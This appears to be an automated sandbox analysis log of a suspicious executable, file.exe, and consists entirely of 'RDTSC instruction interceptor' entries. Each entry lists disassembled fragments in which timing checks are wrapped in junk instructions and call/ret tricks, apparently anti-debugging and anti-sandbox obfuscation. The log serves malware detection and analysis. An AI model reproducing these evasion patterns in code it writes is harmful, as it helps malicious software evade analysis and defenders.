Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37817C second address: 378184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 378452 second address: 378458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3788B3 second address: 3788DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3011h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3100FA3015h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37B026 second address: 37B03B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F3100E5D16Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37B20E second address: 37B236 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3100FA300Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007F3100FA3013h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37B824 second address: 37B828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37B828 second address: 37B82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37B873 second address: 37B8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F3100E5D166h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnl 00007F3100E5D16Ah 0x00000013 xchg eax, ebx 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F3100E5D168h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e movzx edi, di 0x00000031 mov dword ptr [ebp+122D2FD7h], esi 0x00000037 nop 0x00000038 jmp 00007F3100E5D16Fh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 jo 00007F3100E5D166h 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BB00 second address: 37BB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BB06 second address: 37BB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BB0B second address: 37BB11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE05 second address: 37BE44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d jnc 00007F3100E5D16Ch 0x00000013 pop ecx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F3100E5D168h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE44 second address: 37BE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE48 second address: 37BE52 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3100E5D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE52 second address: 37BE6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA3014h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37C303 second address: 37C325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D2300h], ebx 0x0000000f push 00000000h 0x00000011 movzx esi, bx 0x00000014 push 00000000h 0x00000016 add si, 9A8Dh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f push edx 0x00000020 pop edx 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37C325 second address: 37C32B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37E4A9 second address: 37E4AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F1B2 second address: 37F1CB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3100FA300Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37F1CB second address: 37F1D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3811E9 second address: 3811EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3811EF second address: 38121F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jc 00007F3100E5D166h 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F3100E5D166h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384581 second address: 38458D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386640 second address: 386644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386644 second address: 38664E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3100FA3006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387558 second address: 387582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D16Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3100E5D177h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387582 second address: 3875F8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3100FA3016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D3283h], eax 0x00000011 push 00000000h 0x00000013 mov bx, 7DD7h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F3100FA3008h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 jbe 00007F3100FA300Ch 0x00000039 xor dword ptr [ebp+12472817h], ebx 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 push edi 0x00000042 push ecx 0x00000043 pop ecx 0x00000044 pop edi 0x00000045 jno 00007F3100FA300Ch 0x0000004b popad 0x0000004c push eax 0x0000004d jg 00007F3100FA3025h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3875F8 second address: 3875FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38686F second address: 38687E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F3100FA3006h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38687E second address: 386882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38853C second address: 388540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388540 second address: 388546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3887B3 second address: 3887D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3100FA3011h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A739 second address: 38A73D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C46B second address: 38C47B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100FA300Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C47B second address: 38C47F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C47F second address: 38C4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3100FA300Ch 0x0000000e nop 0x0000000f clc 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F3100FA3008h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c mov edi, ebx 0x0000002e cmc 0x0000002f push 00000000h 0x00000031 mov bx, dx 0x00000034 jmp 00007F3100FA3011h 0x00000039 push eax 0x0000003a ja 00007F3100FA3014h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C4E1 second address: 38C4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38D453 second address: 38D46D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jp 00007F3100FA3006h 0x00000010 jno 00007F3100FA3006h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38D46D second address: 38D473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38E413 second address: 38E417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390456 second address: 39045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39045B second address: 390469 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390469 second address: 39046E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38D5B4 second address: 38D642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA300Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop edi 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push eax 0x0000001b mov dword ptr [ebp+122D22E2h], ecx 0x00000021 pop edi 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F3100FA3008h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000018h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 mov edi, 4779A325h 0x00000048 mov eax, dword ptr [ebp+122D0E91h] 0x0000004e sub dword ptr [ebp+122D34ADh], ecx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push edi 0x00000059 call 00007F3100FA3008h 0x0000005e pop edi 0x0000005f mov dword ptr [esp+04h], edi 0x00000063 add dword ptr [esp+04h], 0000001Dh 0x0000006b inc edi 0x0000006c push edi 0x0000006d ret 0x0000006e pop edi 0x0000006f ret 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38D642 second address: 38D64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3100E5D166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38D64D second address: 38D653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39133D second address: 391342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38B59F second address: 38B60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3100FA3006h 0x0000000a popad 0x0000000b pop edi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, dword ptr [ebp+122D2A7Ch] 0x00000015 jmp 00007F3100FA3013h 0x0000001a push dword ptr fs:[00000000h] 0x00000021 sbb bx, 4CD2h 0x00000026 mov bx, ax 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push esi 0x00000031 mov bl, ah 0x00000033 pop edi 0x00000034 mov eax, dword ptr [ebp+122D1189h] 0x0000003a mov ebx, dword ptr [ebp+122D2800h] 0x00000040 pushad 0x00000041 push ecx 0x00000042 pushad 0x00000043 popad 0x00000044 pop ecx 0x00000045 mov edi, dword ptr [ebp+122D1B66h] 0x0000004b popad 0x0000004c push FFFFFFFFh 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F3100FA300Dh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38B60B second address: 38B623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3100E5D174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F58C second address: 38F590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39255C second address: 392560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391587 second address: 39158B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39158B second address: 391591 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390579 second address: 390590 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3100FA300Ch 0x00000008 jno 00007F3100FA3006h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392560 second address: 39258F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D284Ch] 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 mov cx, dx 0x00000016 sbb bx, D552h 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f or dword ptr [ebp+122D2ED3h], ecx 0x00000025 pop ebx 0x00000026 mov bx, D9B0h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 390590 second address: 39059A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3100FA3006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AEA6 second address: 39AEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AEAA second address: 39AEC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100FA3017h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AEC7 second address: 39AED7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3100E5D172h 0x00000008 jl 00007F3100E5D166h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336C98 second address: 336CF1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3100FA300Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F3100FA3016h 0x00000011 jmp 00007F3100FA3010h 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007F3100FA3019h 0x0000001d popad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 336CF1 second address: 336D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 js 00007F3100E5D16Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A728 second address: 39A73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100FA300Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AA13 second address: 39AA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3100E5D16Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3100E5D16Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F3100E5D166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39FFD9 second address: 3A000B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 ja 00007F3100FA3017h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 jnl 00007F3100FA300Ch 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A000B second address: 3A001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3100E5D166h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A01DE second address: 3A01E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A01E4 second address: 3A0237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F3100E5D172h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jo 00007F3100E5D180h 0x00000014 push edi 0x00000015 jmp 00007F3100E5D178h 0x0000001a pop edi 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f js 00007F3100E5D17Eh 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F3100E5D16Ch 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A0237 second address: 3A023B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A023B second address: 3A024C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 jng 00007F3100E5D16Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4F16 second address: 3A4F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4F1C second address: 3A4F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4F22 second address: 3A4F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3350F4 second address: 335103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3BB7 second address: 3A3BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3100FA3006h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A3BC6 second address: 3A3BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3100E5D170h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4137 second address: 3A415B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3100FA300Bh 0x0000000a jmp 00007F3100FA300Fh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A42EB second address: 3A42F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A42F5 second address: 3A4300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4449 second address: 3A444D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A444D second address: 3A4489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F3100FA3006h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F3100FA300Bh 0x0000001a pop ecx 0x0000001b push edi 0x0000001c jmp 00007F3100FA3019h 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A45F2 second address: 3A4610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3100E5D176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
